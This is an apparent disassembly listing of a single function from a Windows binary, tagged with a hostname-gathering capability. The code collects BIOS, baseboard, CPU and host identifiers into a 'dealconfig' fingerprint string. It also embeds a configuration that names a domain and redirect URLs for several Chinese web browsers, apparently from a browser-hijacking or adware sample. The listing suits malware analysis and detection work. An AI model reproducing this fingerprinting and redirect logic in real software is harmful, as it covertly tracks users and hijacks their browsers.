Function at 0x403d10
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441953
mov eax, dword fs:[0]
push eax
sub esp, 0x804
mov eax, dword [0x4572b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00426230
add esp, 0xc
xor eax, eax
push eax
push 0x44d8bc
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0x2bc], pe_nt_image_headers32
mov dword [ebp - 0x2c0], 7
mov dword [ebp - 0x2c4], 0
mov word [ebp - 0x2d4], ax
call fcn.00406c00
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x403df2
cmp word [ebp - 0x210], 0
jne 0x403dbf
xor ecx, ecx
jmp 0x403ddf
lea ecx, [ebp - 0x210]
lea edx, [ecx + 2]
jmp 0x403dd0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403dd0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00406c00
cmp dword [ebp - 0x2c0], 8
lea edx, [ebp - 0x2d4]
cmovae edx, dword [ebp - 0x2d4]
lea ecx, [ebp - 0x270]
call fcn.00409e50
push eax
mov edx, 0x459ad4
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 1
call fcn.00407d60
add esp, 4
push str._config.dat
mov edx, eax
lea ecx, [ebp - 0x2a0]
mov byte [ebp - 4], 2
call fcn.00408030
add esp, 4
cmp dword [ebp - 0x274], 0x10
jb 0x403e59
push dword [ebp - 0x288]
call fcn.0041ff30
add esp, 4
mov dword [ebp - 0x274], 0xf
mov dword [ebp - 0x278], 0
mov byte [ebp - 0x288], 0
mov byte [ebp - 4], 5
cmp dword [ebp - 0x25c], 0x10
jb 0x403e8f
push dword [ebp - 0x270]
call fcn.0041ff30
add esp, 4
push 0
push 0x44d414
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x25c], 0xf
mov dword [ebp - 0x260], 0
mov byte [ebp - 0x270], 0
mov dword [ebp - 0x22c], 0xf
mov dword [ebp - 0x230], 0
mov byte [ebp - 0x240], 0
call fcn.004053b0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x22c]
mov esi, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x230]
cmp edx, 0x10
lea eax, [ebp - 0x240]
cmovae eax, esi
cmp eax, str._n____daydiff__:__0___n____domain__:__http:__ss.889hao.com____n____domain_ver__:_____n____id__:__84893___n____md5__:_____n____minute__:__0___n____setupdate__:_____n____url__:__n_______2345explorer.exe__:__http:__www.sejai.com__2493___n_______360se.exe__:__http:__www.sejai.com__2493___n_______defaulturl__:__http:__www.sejai.com__2493___n_______sogouexplorer.exe__:__http:__www.sejai.com__2493__n_____n____vertion__:__5.2__n_n
ja 0x403f3e
cmp edx, 0x10
lea eax, [ebp - 0x240]
cmovae eax, esi
add eax, ecx
cmp eax, str._n____daydiff__:__0___n____domain__:__http:__ss.889hao.com____n____domain_ver__:_____n____id__:__84893___n____md5__:_____n____minute__:__0___n____setupdate__:_____n____url__:__n_______2345explorer.exe__:__http:__www.sejai.com__2493___n_______360se.exe__:__http:__www.sejai.com__2493___n_______defaulturl__:__http:__www.sejai.com__2493___n_______sogouexplorer.exe__:__http:__www.sejai.com__2493__n_____n____vertion__:__5.2__n_n
jbe 0x403f3e
cmp edx, 0x10
lea ecx, [ebp - 0x240]
cmovae ecx, esi
push 0x800
mov eax, str._n____daydiff__:__0___n____domain__:__http:__ss.889hao.com____n____domain_ver__:_____n____id__:__84893___n____md5__:_____n____minute__:__0___n____setupdate__:_____n____url__:__n_______2345explorer.exe__:__http:__www.sejai.com__2493___n_______360se.exe__:__http:__www.sejai.com__2493___n_______defaulturl__:__http:__www.sejai.com__2493___n_______sogouexplorer.exe__:__http:__www.sejai.com__2493__n_____n____vertion__:__5.2__n_n
sub eax, ecx
push eax
lea eax, [ebp - 0x240]
push eax
mov ecx, eax
call fcn.00406830
jmp 0x403fa7
cmp edx, 0x800
jae 0x403f63
push ecx
push 0x800
lea ecx, [ebp - 0x240]
call fcn.004075d0
mov edx, dword [ebp - 0x22c]
mov esi, dword [ebp - 0x240]
cmp edx, 0x10
push 0x800
lea eax, [ebp - 0x240]
cmovae eax, esi
push str._n____daydiff__:__0___n____domain__:__http:__ss.889hao.com____n____domain_ver__:_____n____id__:__84893___n____md5__:_____n____minute__:__0___n____setupdate__:_____n____url__:__n_______2345explorer.exe__:__http:__www.sejai.com__2493___n_______360se.exe__:__http:__www.sejai.com__2493___n_______defaulturl__:__http:__www.sejai.com__2493___n_______sogouexplorer.exe__:__http:__www.sejai.com__2493__n_____n____vertion__:__5.2__n_n
push eax
call fcn.00425be0
add esp, 0xc
cmp dword [ebp - 0x22c], 0x10
lea eax, [ebp - 0x240]
cmovae eax, dword [ebp - 0x240]
mov dword [ebp - 0x230], 0x800
mov byte [eax + 0x800], 0
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x318], 0
call fcn.00415fb0
and dword [ebp - 0x2b0], 0xfffffe00
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0
push ecx
lea eax, [ebp - 0x2b8]
push eax
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 9
call fcn.004160e0
test al, al
je 0x404899
mov dword [ebp - 0x244], 0xf
mov dword [ebp - 0x248], 0
mov byte [ebp - 0x258], 0
mov byte [ebp - 4], 0xa
push 0x3ec
xorps xmm0, xmm0
lea eax, [ebp - 0x754]
push 0
push eax
mov byte [ebp - 0x768], 0
movq qword [ebp - 0x767], xmm0
movq qword [ebp - 0x75f], xmm0
mov word [ebp - 0x757], 0
mov byte [ebp - 0x755], 0
call fcn.00426230
add esp, 0xc
lea ecx, [ebp - 0x768]
call fcn.004049f0
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x768]
push eax
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x540]
push eax
push str._dealconfig__BiosId:_s_BaseBoardID:_s_CpuID:_s_HostName:_s
call fcn.004086f0
add esp, 0x14
cmp byte [ebp - 0x440], 0
mov dword [ebp - 0x784], 0xf
mov dword [ebp - 0x788], 0
mov byte [ebp - 0x798], 0
jne 0x404101
xor ecx, ecx
jmp 0x404119
lea ecx, [ebp - 0x440]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404110
sub ecx, edx
push ecx
lea eax, [ebp - 0x440]
push eax
lea ecx, [ebp - 0x798]
call fcn.004053b0
mov byte [ebp - 4], 0xb
cmp byte [ebp - 0x768], 0
mov dword [ebp - 0x7cc], 0xf
mov dword [ebp - 0x7d0], 0
mov byte [ebp - 0x7e0], 0
jne 0x404158
xor ecx, ecx
jmp 0x40416a
lea ecx, [ebp - 0x768]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404161
sub ecx, edx
push ecx
lea eax, [ebp - 0x768]
push eax
lea ecx, [ebp - 0x7e0]
call fcn.004053b0
mov byte [ebp - 4], 0xc
cmp byte [ebp - 0x540], 0
mov dword [ebp - 0x7b4], 0xf
mov dword [ebp - 0x7b8], 0
mov byte [ebp - 0x7c8], 0
jne 0x4041a9
xor ecx, ecx
jmp 0x4041bb
lea ecx, [ebp - 0x540]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4041b2
sub ecx, edx
push ecx
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x7c8]
call fcn.004053b0
mov byte [ebp - 4], 0xd
cmp byte [ebp - 0x640], 0
mov dword [ebp - 0x79c], 0xf
mov dword [ebp - 0x7a0], 0
mov byte [ebp - 0x7b0], 0
jne 0x4041fa
xor ecx, ecx
jmp 0x40420c
lea ecx, [ebp - 0x640]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404203
sub ecx, edx
push ecx
lea eax, [ebp - 0x640]
push eax
lea ecx, [ebp - 0x7b0]
call fcn.004053b0
lea eax, [ebp - 0x7c8]
push eax
lea edx, [ebp - 0x7b0]
lea ecx, [ebp - 0x810]
mov byte [ebp - 4], 0xe
call fcn.00407f00
add esp, 4
lea ecx, [ebp - 0x7e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0xf
call fcn.00407f00
add esp, 4
lea ecx, [ebp - 0x798]
push ecx
mov edx, eax
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 0x10
call fcn.00407f00
add esp, 4
cmp dword [ebp - 0x7e4], 0x10
jb 0x40428b
push dword [ebp - 0x7f8]
call fcn.0041ff30
add esp, 4
mov dword [ebp - 0x7e4], 0xf
mov dword [ebp - 0x7e8], 0
mov byte [ebp - 0x7f8], 0
cmp dword [ebp - 0x7fc], 0x10
jb 0x4042bd
push dword [ebp - 0x810]
call fcn.0041ff30
add esp, 4
mov dword [ebp - 0x7fc], 0xf
mov dword [ebp - 0x800], 0
mov byte [ebp - 0x810], 0
cmp dword [ebp - 0x79c], 0x10
jb 0x4042ef
push dword [ebp - 0x7b0]
call fcn.0041ff30
add esp, 4
mov dword [ebp - 0x79c], 0xf
mov dword [ebp - 0x7a0], 0
mov byte [ebp - 0x7b0], 0
cmp dword [ebp - 0x7b4], 0x10
jb 0x404321
push dword [ebp - 0x7c8]
call fcn.0041ff30
add esp, 4
mov dword [ebp - 0x7b4], 0xf
mov dword [ebp - 0x7b8], 0
mov byte [ebp - 0x7c8], 0
cmp dword [ebp - 0x7cc], 0x10
jb 0x404353
push dword [ebp - 0x7e0]
call fcn.0041ff30
add esp, 4
mov dword [ebp - 0x7cc], 0xf
mov dword [ebp - 0x7d0], 0
mov byte [ebp - 0x7e0], 0
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x784], 0x10
jb 0x404389
push dword [ebp - 0x798]
call fcn.0041ff30
add esp, 4
mov ecx, dword [ebp - 0x278]
mov dword [ebp - 0x784], 0xf
mov dword [ebp - 0x788], 0
mov byte [ebp - 0x798], 0
test ecx, ecx
je 0x4044f8
cmp dword [ebp - 0x274], 0x10
lea eax, [ebp - 0x288]
cmovae eax, dword [ebp - 0x288]
push ecx
push eax
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
call fcn.00409500
lea eax, [ebp - 0x780]
push eax
lea ecx, [ebp - 0x220]
call fcn.00409460
mov esi, eax
lea eax, [ebp - 0x258]
cmp eax, esi
je 0x404457
cmp dword [ebp - 0x244], 0x10
jb 0x404430
push dword [ebp - 0x258]
call fcn.0041ff30
add esp, 4
push esi
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x244], 0xf
mov dword [ebp - 0x248], 0
mov byte [ebp - 0x258], 0
call fcn.004065f0
cmp dword [ebp - 0x76c], 0x10
jb 0x40446e
push dword [ebp - 0x780]
call fcn.0041ff30
add esp, 4
mov edx, dword [ebp - 0x248]
mov byte [ebp - 0x220], 4
or dword [ebp - 0x220], 0x100
cmp dword [ebp - 0x244], 0x10
lea ecx, [ebp - 0x258]
cmovae ecx, dword [ebp - 0x258]
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
call fcn.00412b30
mov dword [ebp - 0x228], eax
push 0x44d90b
push 0x44d908
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x18
call fcn.00414080
lea ecx, [ebp - 0x228]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x17
call fcn.00413630
lea ecx, [ebp - 0x228]
call fcn.00413540
lea ecx, [ebp - 0x780]
call fcn.00409cc0
mov byte [ebp - 4], 0x19
mov edx, dword [eax + 0x10]
mov byte [ebp - 0x220], 4
or dword [ebp - 0x220], 0x100
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
jb 0x404541
mov eax, dword [eax]
mov ecx, eax
call fcn.00412b30
mov dword [ebp - 0x228], eax
push 0x44d915
push str.setupdate
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x1a
call fcn.00414080
lea ecx, [ebp - 0x228]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x19
call fcn.00413630
lea ecx, [ebp - 0x228]
call fcn.00413540
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x76c], 0x10
jb 0x40459f
push dword [ebp - 0x780]
call fcn.0041ff30
add esp, 4
lea ecx, [ebp - 0x780]
call fcn.00409d90
mov byte [ebp - 4], 0x1b
mov edx, dword [eax + 0x10]
mov byte [ebp - 0x220], 4
or dword [ebp - 0x220], 0x100
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
jb 0x4045e8
mov eax, dword [eax]
mov ecx, eax
call fcn.00412b30
mov dword [ebp - 0x228], eax
push 0x44d921
push str.setuptime
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x1c
call fcn.00414080
lea ecx, [ebp - 0x228]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x1b
call fcn.00413630
lea ecx, [ebp - 0x228]
call fcn.00413540
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x76c], 0x10
jb 0x404646
push dword [ebp - 0x780]
call fcn.0041ff30
add esp, 4
mov byte [ebp - 0x220], 4
or dword [ebp - 0x220], 0x100
mov edx, 3
mov ecx, 0x44d92c
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
call fcn.00412b30
mov dword [ebp - 0x228], eax
push 0x44d92b
push str.vertion
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x1d
call fcn.00414080
lea ecx, [ebp - 0x228]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x17
call fcn.00413630
lea ecx, [ebp - 0x228]
call fcn.00413540
cmp dword [ebp - 0x28c], 0x10
lea eax, [ebp - 0x2a0]
cmovae eax, dword [ebp - 0x2a0]
push 0
push eax
call fcn.0041f689
add esp, 8
test eax, eax
jne 0x4047d1
cmp dword [ebp - 0x28c], 0x10
lea edx, [ebp - 0x2a0]
cmovae edx, dword [ebp - 0x2a0]
lea ecx, [ebp - 0x2ec]
call fcn.004039c0
and dword [ebp - 0x220], 0xfffffe00
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
push ecx
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 0x20
call fcn.004160e0
test al, al
je 0x4047a7
push 0x44d93a
push str.rootbefore
lea ecx, [ebp - 0x228]
call fcn.00414080
push eax
lea ecx, [ebp - 0x780]
call fcn.00413390
push 0x44d915
push str.setupdate
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x21
call fcn.00414080
lea ecx, [ebp - 0x780]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x20
call fcn.00413630
lea ecx, [ebp - 0x780]
call fcn.00413540
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0x1e
call fcn.00413540
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x2d8], 0x10
jb 0x4047d1
push dword [ebp - 0x2ec]
call fcn.0041ff30
add esp, 4
lea eax, [ebp - 0x270]
push eax
lea ecx, [ebp - 0x2b8]
call fcn.004148f0
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x28c], 0x10
mov edx, dword [ebp - 0x260]
lea eax, [ebp - 0x2a0]
cmovae eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x25c], 0x10
lea ecx, [ebp - 0x270]
cmovae ecx, dword [ebp - 0x270]
push eax
call fcn.004024c0
add esp, 4
cmp dword [ebp - 0x25c], 0x10
jb 0x404835
push dword [ebp - 0x270]
call fcn.0041ff30
add esp, 4
cmp dword [ebp - 0x274], 0x10
mov dword [ebp - 0x25c], 0xf
mov dword [ebp - 0x260], 0
mov byte [ebp - 0x270], 0
jb 0x404867
push dword [ebp - 0x288]
call fcn.0041ff30
add esp, 4
cmp dword [ebp - 0x244], 0x10
mov dword [ebp - 0x274], 0xf
mov dword [ebp - 0x278], 0
mov byte [ebp - 0x288], 0
jb 0x404899
push dword [ebp - 0x258]
call fcn.0041ff30
add esp, 4
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 7
call fcn.00413540
lea ecx, [ebp - 0x368]
call fcn.00404950
cmp dword [ebp - 0x22c], 0x10
jb 0x4048ca
push dword [ebp - 0x240]
call fcn.0041ff30
add esp, 4
cmp dword [ebp - 0x28c], 0x10
mov dword [ebp - 0x22c], 0xf
mov dword [ebp - 0x230], 0
mov byte [ebp - 0x240], 0
jb 0x4048fc
push dword [ebp - 0x2a0]
call fcn.0041ff30
add esp, 4
cmp dword [ebp - 0x2c0], 8
mov dword [ebp - 0x28c], 0xf
mov dword [ebp - 0x290], 0
mov byte [ebp - 0x2a0], 0
jb 0x40492e
push dword [ebp - 0x2d4]
call fcn.0041ff30
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e77a
mov esp, ebp
pop ebp
ret